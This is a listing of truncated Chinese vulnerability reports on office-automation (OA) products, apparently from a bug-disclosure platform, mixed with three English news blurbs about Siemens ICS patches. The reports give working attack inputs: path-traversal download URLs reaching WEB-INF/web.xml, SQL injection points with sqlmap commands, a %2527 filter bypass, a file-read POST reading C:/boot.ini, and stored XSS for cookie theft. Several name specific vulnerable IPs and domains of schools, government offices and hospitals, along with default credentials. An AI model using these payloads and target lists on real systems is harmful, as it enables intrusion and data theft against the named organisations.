万户OA所有版本任意文件下载

简要描述： 万户OA任意文件下载漏洞 详细说明： 万户OAdownloadold.jsp文件可以任意访问，导致无需登录，下载任意文件 测试URL： /defaultroot/downloadold.jsp?path=..&name=x&FileName=index.jsp /defaultroot/downloadold.jsp?path=..&name=x&FileName=WEB-INF/web.xml 快下班了，时间不够了，测试地址就不贴了，自行测试哈。。 漏洞证明：...

海天OA系统存在SQL注入(sa权限)#7

简要描述： RT 详细说明： 海天OA存在一处sql注入 海天OA官网：http://www.haitiansoft.com:8080/ 前人也有提交过我就不写那么多案例了，下面就用6个案例来做安全测试！ SQL注入点： /Documents/FolderInfor.asp?OAID=1 注意是注入参数是OAID不是POAID 漏洞证明： 案例一： http://180.166.7.94/Documents/FolderInfor.asp?OAID=1 案例二： http://oa.tjfsu.edu.cn/Documents/FolderInfor.asp?OAID=1 案例三：...

万户OA 无条件sql注入

简要描述： sql注入 详细说明： 已跑出数据证明. 漏洞证明： -u "http://119.254.81.197:7001/defaultroot/GovSendFileBoxAction.do?editId=2&sendFileUserId=1&action=delBatch" 存在漏洞的地址 http://119.254.81.197:7001 http://61.191.17.216:7001 http://219.136.247.248:7001 http://222.178.221.54:7001...

某OA系统通用SQL注入（SA权限）#5

简要描述： RT 详细说明： 海天OA存在一处sql注入 海天OA官网：http://www.haitiansoft.com:8080/ 前人也有提交过我就不写那么多案例了，下面就用5个案例来做安全测试！ SQL注入点： /information/OAInforDisList.asp?class= 漏洞证明： 案例： http://180.166.7.94/information/OAInforDisList.asp?class=1 http://oa.tjfsu.edu.cn/information/OAInforDisList.asp?class=1...

海天OA系统通用SQL注入(SA权限)#6

简要描述： RT 详细说明： 海天OA存在一处sql注入 海天OA官网：http://www.haitiansoft.com:8080/ 前人也有提交过我就不写那么多案例了，下面就用5个案例来做安全测试！ SQL注入点： /meetingroom/MeetingRoomUseInfo.asp?MeetingRoom= 漏洞证明： 案例： http://180.166.7.94/meetingroom/MeetingRoomUseInfo.asp?MeetingRoom=1...

海天OA系统存在SQL注入(sa权限)

简要描述： RT 详细说明： 海天OA存在一处sql注入 海天OA官网：http://www.haitiansoft.com:8080/ 前人也有提交过我就不写那么多案例了，下面就用5个案例来做安全测试！ SQL注入点： Documents/FolderInfor.asp?POAID=1 漏洞证明： 1.http://180...94/Documents/FolderInfor.asp?POAID=1 2.http://oa.tu.edu.cn/Documents/FolderInfor.asp?POAID=1...

某OA系统存在SQL注入(sa权限)#2

简要描述： RT 详细说明： 海天OA存在一处sql注入 海天OA官网：http://www.haitiansoft.com:8080/ 前人也有提交过我就不写那么多案例了，下面就用5个案例来做安全测试！ SQL注入点： Include/ChaXunDetail.asp?FID=1 漏洞证明： 案例1： 1.http://www.cnshuiyu.com/Include/ChaXunDetail.asp?FID=1 案例2： 2.http://www.fzsyxx.com/oa/Include/ChaXunDetail.asp?FID=1 案例3...

某学校综合管理平台OAsql注入漏洞(影响大量学校)

简要描述： 前台走一走 详细说明： 问题厂商：上海安脉计算机科技有限公司 谷歌百度：版权所有：上海安脉计算机科技有限公司 大量学校使用该系统 管理平台没发现漏洞，但是这套系统附带一套oa系统 /anmai/oa/adduser.aspx 在密码出现sql注入 只能手工不好利用 但是 这有个用户修改 只需添加参数id /anmai/oa/adduser.aspx?id=1 （id存在注入） 以该公司demo为例 http://www.anmai.net/anmai/oa/adduser.aspx?id=1 Place: GET Parameter: id Type: error-based...

万户OA 一处 无限制多参SQL注入

简要描述： sql注入 详细说明： 漏洞证明： 验证方式： 注入1：-u "http://222.178.221.54:7001/defaultroot/NameCardAction.do?delId=1&action=delperson" 注入2: -u"http://222.178.221.54:7001/defaultroot/NameCardAction.do?record=1&action=listLoad" 都能跑出数据的。 同样存在漏洞的地址 http://119.254.81.197:7001 http://61.191.17.216:7001...

万户OA某页面通用性SQL注入（又影响N个政府网和医疗机构）

简要描述： 其实我一直琢磨，之前发的那个，为什么有一部分不能注入，后来找了找，发现不能注入的都是oracle数据库，很好奇。。。然后……就发现了这个通用注入。。例子中，涉及淮北市卫生局，内蒙古海勃湾区市政府、怀远县政府等多家政府单位和医疗机构。在注入时貌似有些限制，凌晨1:45了，就不继续测试了，该睡觉了。。 详细说明： 万户OA协同管理系统，存在POST注入 问题链接：defaultroot/mobile/index.jsp 该登陆框，username处没有做过滤，导致了POST注入 详细看图吧。。。 漏洞证明：...

用友FE办公平台通用SQL注入

简要描述： 用友FE办公平台通用SQL注入 详细说明： 该连接存在SQL注入 /permissionsreport/flowTreeXml.jsp?treeSearchKey=1 sqlmap -u "http://oa.hzuf.com:9090/permissionsreport/flowTreeXml.jsp?treeSearchKey=1" sqlmap -u "http://oa.hzuf.com:9090/permissionsreport/flowTreeXml.jsp?treeSearchKey=1" --dbs 5个案例：...

逐浪cms多出存储型XSS(劫持cookie可以利用)

简要描述： RT 详细说明： 看着大家都在挖注入，发现官网的测试站点也开始变态了，单引号都直接纳入非法注入检测。 于是无奈之下就，看看都加都不关注的xss，防注入做得确实不错，但是这个跨站漏洞就是坑爹啊、 第一处：OA办公系统 http://demo.zoomla.cn/Mis/OA/ 第二处：社区互动 http://demo.zoomla.cn/User/UserZone/Default.aspx 漏洞证明： 用OA系统办公系统打比方吧。 首先我注册俩个账号分别为zaizai和zaizai1、 1、用户zaizai1给用户zaizai发送一份邮件，标题处存在xss漏洞。...

Siemens Patches DoS Vulnerability in SIMATIC S7

Siemens released an update for one of its automation systems late last week, patching a denial of service vulnerability in all versions of its SIMATIC S7-1500 CPU prior to V1.6. An advisory on the Industrial Control Systems Cyber Emergency Response Team’s ICS-CERT website warned about the...

Siemens Patches Five Vulnerabilities in SIMATIC System

Siemens released an update for two builds of its SIMATIC automation system this week, addressing a quintet of vulnerabilities, four of which are remotely exploitable. The German company’s SIMATIC WinCC, a SCADA system and SIMATIC PCS7, a distributed control system DCS are directly affected by the...

泛微OA系统通用后台几处注入（官方demo验证）

简要描述： 注入直接危及到主库，多数是sa权限 详细说明： 管理员情况下的注入：http://www.e-cology.cn/systeminfo/sysadmin/sysadminEdit.jsp?id=1 普通用户注入:http://127.0.0.1//cowork/CoworkLogView.jsp?id=151 普通用户注入地址：http://127.0.0.1/system/basedata/basedatarole.jsp?roleid=32...

Siemens Working on Patches for OpenSSL Bugs Under Exploit

Siemens says it is working on patches for four critical vulnerabilities in the OpenSSL libraries it uses in a number of its industrial control products, flaws that are being exploited in the wild. The Industrial Control Systems Cyber Emergency Response Team ICS-CERT cautioned too that critical...

逐浪oa后台存在sql注入

简要描述： 这个能算通用吗。。 没什么技术含量 详细说明： 官网演示地址：http://oa.zoomla.cn/ 使用admin admin888登陆 注入点http://oa.zoomla.cn/Messagemanage/ViewMessageManage.aspx?id=1 没有经过任何限制，直接可以注入 http://oa.zoomla.cn/Messagemanage/ViewMessageManage.aspx?id=1 and 1=1返回正常 http://oa.zoomla.cn/Messagemanage/ViewMessageManage.aspx?id=1 and...

华天动力oa系统一处xss漏洞可盲打管理员

简要描述： xss 详细说明： http://demo.oa8000.com 官网给的演示站点测试 帐号user密码123456 在新建任务插入xss代码-选择让整站人看到 管理员 帐号admin 密码123456 登录 漏洞证明： 我TM没什么证明了，上传个图片传了几分钟.....给跪了...

华天动力OA任意文件读取

简要描述： Just another bug. 详细说明： 以官网http://demo.oa8000.com/为例， user:123456 登陆后， 向 http://demo.oa8000.com/OAapp/WebObjects/OAapp.woa/wa/TraceOpenPage POST如下参数： fileType=txt&jumpToPage=HtFile0141&initFromJsp=true&filePath=C%3A%2Fboot.ini&updateFlg=false 将filePath更改为待读取文件的绝对路径即可。 漏洞证明：...

盈世信息科技OA系统SQL注入

简要描述： 盈世信息科技OA系统SQL注入 详细说明： http://218.107.63.241:82是OA系统 /interface/go.php没有过滤APPUNIT参数，导致了SQL注入漏洞 $APPUNIT = urldecode $APPUNIT ; $query = "select MEMBERID from CONNECTCONFIG where MEMBERNAME='".$APPUNIT."'"; 虽然开启了magicquotesgpc，单引号会被转义，但是因为他会先解码一遍，就可以用%2527来绕过GPC 漏洞证明： 用SQLMAP注入出数据信息 web...